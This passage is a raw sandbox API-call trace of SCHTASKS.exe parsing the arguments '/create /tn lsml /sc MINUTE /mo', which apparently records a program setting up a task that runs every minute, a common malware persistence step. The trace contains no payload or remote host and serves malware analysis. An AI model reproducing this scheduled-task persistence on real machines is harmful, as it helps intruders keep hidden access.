Flags=0xc, Size=0x20) returned 0x26cce0 [0084.450] GetProcessHeap () returned 0x250000 [0084.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bbb0 [0084.450] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.450] GetProcessHeap () returned 0x250000 [0084.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x200) returned 0x26d3c0 [0084.450] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0084.450] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0084.450] GetProcessHeap () returned 0x250000 [0084.450] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x30) returned 0x267b80 [0084.450] _vsnwprintf (in: _Buffer=0x26c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdf0a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0084.451] GetProcessHeap () returned 0x250000 [0084.451] GetProcessHeap () returned 0x250000 [0084.451] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2e0) returned 1 [0084.451] GetProcessHeap () returned 0x250000 [0084.451] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2e0) returned 0x74e [0084.452] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2e0 | out: hHeap=0x250000) returned 1 [0084.453] SetLastError (dwErrCode=0x0) [0084.453] GetThreadLocale () returned 0x409 [0084.453] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.453] lstrlenW (lpString="?") returned 1 [0084.453] GetThreadLocale () returned 0x409 [0084.453] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.453] lstrlenW (lpString="create") returned 6 [0084.453] GetThreadLocale () returned 0x409 [0084.453] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.454] lstrlenW (lpString="delete") returned 6 [0084.454] GetThreadLocale () returned 0x409 [0084.454] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.454] lstrlenW (lpString="query") returned 5 [0084.454] GetThreadLocale () returned 0x409 [0084.454] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.454] lstrlenW (lpString="change") returned 6 [0084.454] GetThreadLocale () returned 0x409 [0084.454] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.454] lstrlenW (lpString="run") returned 3 [0084.454] GetThreadLocale () returned 0x409 [0084.454] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.454] lstrlenW (lpString="end") returned 3 [0084.454] GetThreadLocale () returned 0x409 [0084.454] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.454] lstrlenW (lpString="showsid") returned 7 [0084.454] GetThreadLocale () returned 0x409 [0084.454] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0084.454] SetLastError (dwErrCode=0x0) [0084.454] SetLastError (dwErrCode=0x0) [0084.454] lstrlenW (lpString="/create") returned 7 [0084.454] lstrlenW (lpString="-/") returned 2 [0084.454] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.454] lstrlenW (lpString="?") returned 1 [0084.454] lstrlenW (lpString="?") returned 1 [0084.454] GetProcessHeap () returned 0x250000 [0084.454] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c1c0 [0084.455] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.455] GetProcessHeap () returned 0x250000 [0084.455] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa) returned 0x26c2e0 [0084.455] lstrlenW (lpString="create") returned 6 [0084.455] GetProcessHeap () returned 0x250000 [0084.455] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c300 [0084.455] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.455] GetProcessHeap () returned 0x250000 [0084.455] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x14) returned 0x26c320 [0084.455] _vsnwprintf (in: _Buffer=0x26c2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|?|") returned 3 [0084.455] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|create|") returned 8 [0084.455] lstrlenW (lpString="|?|") returned 3 [0084.455] lstrlenW (lpString="|create|") returned 8 [0084.455] SetLastError (dwErrCode=0x490) [0084.455] lstrlenW (lpString="create") returned 6 [0084.455] lstrlenW (lpString="create") returned 6 [0084.455] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.455] GetProcessHeap () returned 0x250000 [0084.455] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2e0) returned 1 [0084.455] GetProcessHeap () returned 0x250000 [0084.455] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26c2e0, Size=0x14) returned 0x26c340 [0084.455] lstrlenW (lpString="create") returned 6 [0084.455] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.455] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|create|") returned 8 [0084.456] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|create|") returned 8 [0084.456] lstrlenW (lpString="|create|") returned 8 [0084.456] lstrlenW (lpString="|create|") returned 8 [0084.456] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0084.456] SetLastError (dwErrCode=0x0) [0084.456] SetLastError (dwErrCode=0x0) [0084.456] SetLastError (dwErrCode=0x0) [0084.456] lstrlenW (lpString="/tn") returned 3 [0084.456] lstrlenW (lpString="-/") returned 2 [0084.456] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.456] lstrlenW (lpString="?") returned 1 [0084.456] lstrlenW (lpString="?") returned 1 [0084.456] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.456] lstrlenW (lpString="tn") returned 2 [0084.456] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.456] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|?|") returned 3 [0084.456] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tn|") returned 4 [0084.456] lstrlenW (lpString="|?|") returned 3 [0084.456] lstrlenW (lpString="|tn|") returned 4 [0084.456] SetLastError (dwErrCode=0x490) [0084.456] lstrlenW (lpString="create") returned 6 [0084.456] lstrlenW (lpString="create") returned 6 [0084.456] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.456] lstrlenW (lpString="tn") returned 2 [0084.456] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.457] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|create|") returned 8 [0084.457] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tn|") returned 4 [0084.457] lstrlenW (lpString="|create|") returned 8 [0084.457] lstrlenW (lpString="|tn|") returned 4 [0084.457] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0084.457] SetLastError (dwErrCode=0x490) [0084.457] lstrlenW (lpString="delete") returned 6 [0084.457] lstrlenW (lpString="delete") returned 6 [0084.457] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.457] lstrlenW (lpString="tn") returned 2 [0084.457] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.457] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|delete|") returned 8 [0084.457] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tn|") returned 4 [0084.457] lstrlenW (lpString="|delete|") returned 8 [0084.457] lstrlenW (lpString="|tn|") returned 4 [0084.457] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0084.457] SetLastError (dwErrCode=0x490) [0084.457] lstrlenW (lpString="query") returned 5 [0084.457] lstrlenW (lpString="query") returned 5 [0084.457] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.457] lstrlenW (lpString="tn") returned 2 [0084.457] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.457] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|query|") returned 7 [0084.458] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tn|") returned 4 [0084.458] lstrlenW (lpString="|query|") returned 7 [0084.458] lstrlenW (lpString="|tn|") returned 4 [0084.458] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0084.458] SetLastError (dwErrCode=0x490) [0084.458] lstrlenW (lpString="change") returned 6 [0084.458] lstrlenW (lpString="change") returned 6 [0084.458] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.458] lstrlenW (lpString="tn") returned 2 [0084.458] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.458] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|change|") returned 8 [0084.458] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tn|") returned 4 [0084.458] lstrlenW (lpString="|change|") returned 8 [0084.458] lstrlenW (lpString="|tn|") returned 4 [0084.458] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0084.458] SetLastError (dwErrCode=0x490) [0084.458] lstrlenW (lpString="run") returned 3 [0084.458] lstrlenW (lpString="run") returned 3 [0084.458] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.458] lstrlenW (lpString="tn") returned 2 [0084.458] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.458] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|run|") returned 5 [0084.458] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tn|") returned 4 [0084.459] lstrlenW (lpString="|run|") returned 5 [0084.459] lstrlenW (lpString="|tn|") returned 4 [0084.459] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0084.459] SetLastError (dwErrCode=0x490) [0084.459] lstrlenW (lpString="end") returned 3 [0084.459] lstrlenW (lpString="end") returned 3 [0084.459] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.459] lstrlenW (lpString="tn") returned 2 [0084.459] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.459] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|end|") returned 5 [0084.459] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tn|") returned 4 [0084.459] lstrlenW (lpString="|end|") returned 5 [0084.459] lstrlenW (lpString="|tn|") returned 4 [0084.459] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0084.459] SetLastError (dwErrCode=0x490) [0084.459] lstrlenW (lpString="showsid") returned 7 [0084.459] lstrlenW (lpString="showsid") returned 7 [0084.459] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.459] GetProcessHeap () returned 0x250000 [0084.459] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c340) returned 1 [0084.459] GetProcessHeap () returned 0x250000 [0084.459] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26c340, Size=0x16) returned 0x26c340 [0084.460] lstrlenW (lpString="tn") returned 2 [0084.460] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.460] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|showsid|") returned 9 [0084.460] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|tn|") returned 4 [0084.460] lstrlenW (lpString="|showsid|") returned 9 [0084.460] lstrlenW (lpString="|tn|") returned 4 [0084.460] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0084.460] SetLastError (dwErrCode=0x490) [0084.460] SetLastError (dwErrCode=0x490) [0084.460] SetLastError (dwErrCode=0x0) [0084.460] lstrlenW (lpString="/tn") returned 3 [0084.460] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0084.460] SetLastError (dwErrCode=0x490) [0084.460] SetLastError (dwErrCode=0x0) [0084.460] lstrlenW (lpString="/tn") returned 3 [0084.460] GetProcessHeap () returned 0x250000 [0084.460] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c2e0 [0084.460] GetProcessHeap () returned 0x250000 [0084.460] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd10 [0084.460] SetLastError (dwErrCode=0x0) [0084.460] SetLastError (dwErrCode=0x0) [0084.460] lstrlenW (lpString="lsml") returned 4 [0084.460] lstrlenW (lpString="-/") returned 2 [0084.460] StrChrIW (lpStart="-/", wMatch=0x6c) returned 0x0 [0084.460] SetLastError (dwErrCode=0x490) [0084.460] SetLastError (dwErrCode=0x490) [0084.461] SetLastError (dwErrCode=0x0) [0084.461] lstrlenW (lpString="lsml") returned 4 [0084.461] StrChrIW (lpStart="lsml", wMatch=0x3a) returned 0x0 [0084.461] SetLastError (dwErrCode=0x490) [0084.461] SetLastError (dwErrCode=0x0) [0084.461] lstrlenW (lpString="lsml") returned 4 [0084.461] GetProcessHeap () returned 0x250000 [0084.461] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa) returned 0x26c370 [0084.461] GetProcessHeap () returned 0x250000 [0084.461] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd40 [0084.461] SetLastError (dwErrCode=0x0) [0084.461] SetLastError (dwErrCode=0x0) [0084.461] lstrlenW (lpString="/sc") returned 3 [0084.461] lstrlenW (lpString="-/") returned 2 [0084.461] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.461] lstrlenW (lpString="?") returned 1 [0084.461] lstrlenW (lpString="?") returned 1 [0084.461] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.461] lstrlenW (lpString="sc") returned 2 [0084.461] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.461] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|?|") returned 3 [0084.461] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|sc|") returned 4 [0084.461] lstrlenW (lpString="|?|") returned 3 [0084.461] lstrlenW (lpString="|sc|") returned 4 [0084.461] SetLastError (dwErrCode=0x490) [0084.461] lstrlenW (lpString="create") returned 6 [0084.462] lstrlenW (lpString="create") returned 6 [0084.462] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.462] lstrlenW (lpString="sc") returned 2 [0084.462] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.462] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|create|") returned 8 [0084.462] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|sc|") returned 4 [0084.462] lstrlenW (lpString="|create|") returned 8 [0084.462] lstrlenW (lpString="|sc|") returned 4 [0084.462] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0084.462] SetLastError (dwErrCode=0x490) [0084.462] lstrlenW (lpString="delete") returned 6 [0084.462] lstrlenW (lpString="delete") returned 6 [0084.462] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.462] lstrlenW (lpString="sc") returned 2 [0084.462] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.462] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|delete|") returned 8 [0084.462] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|sc|") returned 4 [0084.462] lstrlenW (lpString="|delete|") returned 8 [0084.462] lstrlenW (lpString="|sc|") returned 4 [0084.462] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0084.462] SetLastError (dwErrCode=0x490) [0084.462] lstrlenW (lpString="query") returned 5 [0084.462] lstrlenW (lpString="query") returned 5 [0084.462] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.463] lstrlenW (lpString="sc") returned 2 [0084.463] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.463] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|query|") returned 7 [0084.463] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|sc|") returned 4 [0084.463] lstrlenW (lpString="|query|") returned 7 [0084.463] lstrlenW (lpString="|sc|") returned 4 [0084.463] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0084.463] SetLastError (dwErrCode=0x490) [0084.463] lstrlenW (lpString="change") returned 6 [0084.463] lstrlenW (lpString="change") returned 6 [0084.463] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.463] lstrlenW (lpString="sc") returned 2 [0084.463] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.463] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|change|") returned 8 [0084.463] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|sc|") returned 4 [0084.463] lstrlenW (lpString="|change|") returned 8 [0084.463] lstrlenW (lpString="|sc|") returned 4 [0084.463] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0084.463] SetLastError (dwErrCode=0x490) [0084.463] lstrlenW (lpString="run") returned 3 [0084.463] lstrlenW (lpString="run") returned 3 [0084.463] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.463] lstrlenW (lpString="sc") returned 2 [0084.464] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.464] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|run|") returned 5 [0084.464] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|sc|") returned 4 [0084.464] lstrlenW (lpString="|run|") returned 5 [0084.464] lstrlenW (lpString="|sc|") returned 4 [0084.464] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0084.464] SetLastError (dwErrCode=0x490) [0084.464] lstrlenW (lpString="end") returned 3 [0084.464] lstrlenW (lpString="end") returned 3 [0084.464] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.464] lstrlenW (lpString="sc") returned 2 [0084.464] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.464] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|end|") returned 5 [0084.464] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|sc|") returned 4 [0084.464] lstrlenW (lpString="|end|") returned 5 [0084.464] lstrlenW (lpString="|sc|") returned 4 [0084.464] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0084.464] SetLastError (dwErrCode=0x490) [0084.464] lstrlenW (lpString="showsid") returned 7 [0084.464] lstrlenW (lpString="showsid") returned 7 [0084.464] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.464] lstrlenW (lpString="sc") returned 2 [0084.464] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.464] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|showsid|") returned 9 [0084.465] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|sc|") returned 4 [0084.465] lstrlenW (lpString="|showsid|") returned 9 [0084.465] lstrlenW (lpString="|sc|") returned 4 [0084.465] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0084.465] SetLastError (dwErrCode=0x490) [0084.465] SetLastError (dwErrCode=0x490) [0084.465] SetLastError (dwErrCode=0x0) [0084.465] lstrlenW (lpString="/sc") returned 3 [0084.465] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0084.465] SetLastError (dwErrCode=0x490) [0084.465] SetLastError (dwErrCode=0x0) [0084.465] lstrlenW (lpString="/sc") returned 3 [0084.465] GetProcessHeap () returned 0x250000 [0084.465] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c390 [0084.465] GetProcessHeap () returned 0x250000 [0084.465] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd70 [0084.465] SetLastError (dwErrCode=0x0) [0084.465] SetLastError (dwErrCode=0x0) [0084.465] lstrlenW (lpString="MINUTE") returned 6 [0084.465] lstrlenW (lpString="-/") returned 2 [0084.465] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0084.465] SetLastError (dwErrCode=0x490) [0084.465] SetLastError (dwErrCode=0x490) [0084.465] SetLastError (dwErrCode=0x0) [0084.465] lstrlenW (lpString="MINUTE") returned 6 [0084.465] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0084.465] SetLastError (dwErrCode=0x490) [0084.465] SetLastError (dwErrCode=0x0) [0084.466] lstrlenW (lpString="MINUTE") returned 6 [0084.466] GetProcessHeap () returned 0x250000 [0084.466] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26c3b0 [0084.466] GetProcessHeap () returned 0x250000 [0084.466] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cda0 [0084.466] SetLastError (dwErrCode=0x0) [0084.466] SetLastError (dwErrCode=0x0) [0084.466] lstrlenW (lpString="/mo") returned 3 [0084.466] lstrlenW (lpString="-/") returned 2 [0084.466] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.466] lstrlenW (lpString="?") returned 1 [0084.466] lstrlenW (lpString="?") returned 1 [0084.466] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.466] lstrlenW (lpString="mo") returned 2 [0084.522] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.523] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|?|") returned 3 [0084.523] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|mo|") returned 4 [0084.523] lstrlenW (lpString="|?|") returned 3 [0084.523] lstrlenW (lpString="|mo|") returned 4 [0084.523] SetLastError (dwErrCode=0x490) [0084.523] lstrlenW (lpString="create") returned 6 [0084.523] lstrlenW (lpString="create") returned 6 [0084.523] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.523] lstrlenW (lpString="mo") returned 2 [0084.523] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.523] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|create|") returned 8 [0084.523] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|mo|") returned 4 [0084.523] lstrlenW (lpString="|create|") returned 8 [0084.523] lstrlenW (lpString="|mo|") returned 4 [0084.523] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0084.523] SetLastError (dwErrCode=0x490) [0084.523] lstrlenW (lpString="delete") returned 6 [0084.523] lstrlenW (lpString="delete") returned 6 [0084.523] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.523] lstrlenW (lpString="mo") returned 2 [0084.523] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.524] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|delete|") returned 8 [0084.524] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|mo|") returned 4 [0084.524] lstrlenW (lpString="|delete|") returned 8 [0084.524] lstrlenW (lpString="|mo|") returned 4 [0084.524] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0084.524] SetLastError (dwErrCode=0x490) [0084.524] lstrlenW (lpString="query") returned 5 [0084.524] lstrlenW (lpString="query") returned 5 [0084.524] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.524] lstrlenW (lpString="mo") returned 2 [0084.524] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.524] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|query|") returned 7 [0084.524] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|mo|") returned 4 [0084.524] lstrlenW (lpString="|query|") returned 7 [0084.524] lstrlenW (lpString="|mo|") returned 4 [0084.524] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0084.524] SetLastError (dwErrCode=0x490) [0084.524] lstrlenW (lpString="change") returned 6 [0084.524] lstrlenW (lpString="change") returned 6 [0084.524] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.524] lstrlenW (lpString="mo") returned 2 [0084.524] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.524] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|change|") returned 8 [0084.524] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf0b8 | out: _Buffer="|mo|") returned 4 [0084.524] lstrlenW (lpString="|change|") returned 8 [0084.525] lstrlenW 